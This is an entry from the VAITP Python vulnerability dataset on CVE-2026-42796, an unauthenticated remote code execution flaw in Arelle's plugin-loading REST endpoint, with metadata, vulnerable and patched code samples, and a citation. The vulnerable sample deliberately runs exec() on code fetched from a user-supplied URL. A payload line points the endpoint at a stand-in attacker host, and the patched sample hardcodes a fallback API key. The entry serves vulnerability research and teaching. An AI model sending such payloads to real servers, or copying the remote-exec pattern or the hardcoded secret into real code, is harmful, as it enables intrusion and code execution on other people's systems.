VAITP Dataset

← Back to the dataset

CVE-2026-42796

Arelle unauthenticated RCE via malicious plugin loading in the REST API.

  • CVSS 9.2
  • CWE-306
  • Authentication, Authorization, and Session Management
  • Remote

Arelle before 2.39.10 contains an unauthenticated remote code execution vulnerability in the /rest/configure REST endpoint that accepts a plugins query parameter and forwards it to the plugin manager without authentication or authorization. Attackers can supply a URL to a malicious Python file through the plugins parameter, causing the Arelle webserver to download and execute the attacker-controlled code within the Arelle process with its privileges.

CVSS base score
9.2
Published
2026-05-04
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Authentication, Authorization, and Session Management
Subcategory
Remote File Inclusion (RFI)
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Arelle
Fixed by upgrading
Yes

Solution

Upgrade Arelle to version 2.39.10 or later.

Vulnerable code sample

from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/rest/configure', methods=['GET'])
def configure_plugins():
    plugin_url = request.args.get('plugins')

    if not plugin_url:
        return "Missing 'plugins' parameter.", 400

    try:
        response = requests.get(plugin_url, timeout=5)
        response.raise_for_status()

        plugin_code = response.text
        exec(plugin_code, globals())

        return "Plugin configured successfully.", 200
    except Exception as e:
        return f"Error loading plugin: {str(e)}", 500

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

Patched code sample

import os
from flask import Flask, request, jsonify, abort
from functools import wraps

# In a real application, the secret key would be loaded securely
ADMIN_API_KEY = os.environ.get("ARELLE_ADMIN_API_KEY", "a-very-secret-and-strong-key")

app = Flask(__name__)

def load_plugin_from_url(plugin_url: str):
    """
    Simulates the dangerous action of loading a plugin from a remote URL.
    In the fixed version, this function is only callable after an
    authentication and authorization check has passed.
    """
    print(f"[INFO] Securely processing plugin installation for: {plugin_url}")
    # In a real, secure implementation, this would not execute code directly.
    # It might validate the URL against an allowlist, check signatures,
    # or install the plugin into a sandboxed environment.
    return {"status": "processed", "plugin": plugin_url}

def require_admin_auth(f):
    """A decorator to protect endpoints that require admin authentication."""
    @wraps(f)
    def decorated_function(*args, **kwargs):
        auth_header = request.headers.get("Authorization")
        if not auth_header or auth_header != f"Bearer {ADMIN_API_KEY}":
            # If authentication fails, reject the request immediately.
            abort(403)  # 403 Forbidden is appropriate for auth failure
        return f(*args, **kwargs)
    return decorated_function

@app.route("/rest/configure")
@require_admin_auth  # <-- THE FIX: This decorator enforces authentication.
def configure_plugins():
    """
    This endpoint allows an authenticated administrator to configure plugins.
    The @require_admin_auth decorator ensures that no unauthenticated requests
    can reach the function's logic that processes the 'plugins' parameter.
    """
    plugin_url = request.args.get("plugins")

    if not plugin_url:
        return jsonify({"error": "The 'plugins' query parameter is required."}), 400

    # This dangerous logic is now only reachable by an authenticated user.
    result = load_plugin_from_url(plugin_url)
    return jsonify(result)

# Example of a vulnerable endpoint for contrast (NOT PART OF THE FIX)
#
# @app.route("/rest/configure_vulnerable")
# def configure_plugins_vulnerable():
#     # VULNERABILITY: No authentication check is performed.
#     plugin_url = request.args.get("plugins")
#     if plugin_url:
#         # An attacker can provide a URL to malicious code, which is executed.
#         load_plugin_from_url(plugin_url)
#     return jsonify({"status": "vulnerable endpoint processed"})

Payload

/rest/configure?plugins=http://attacker-server.com/malicious_plugin.py

Cite this entry

@misc{vaitp:cve202642796,
  title        = {{Arelle unauthenticated RCE via malicious plugin loading in the REST API.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-42796},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-42796/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::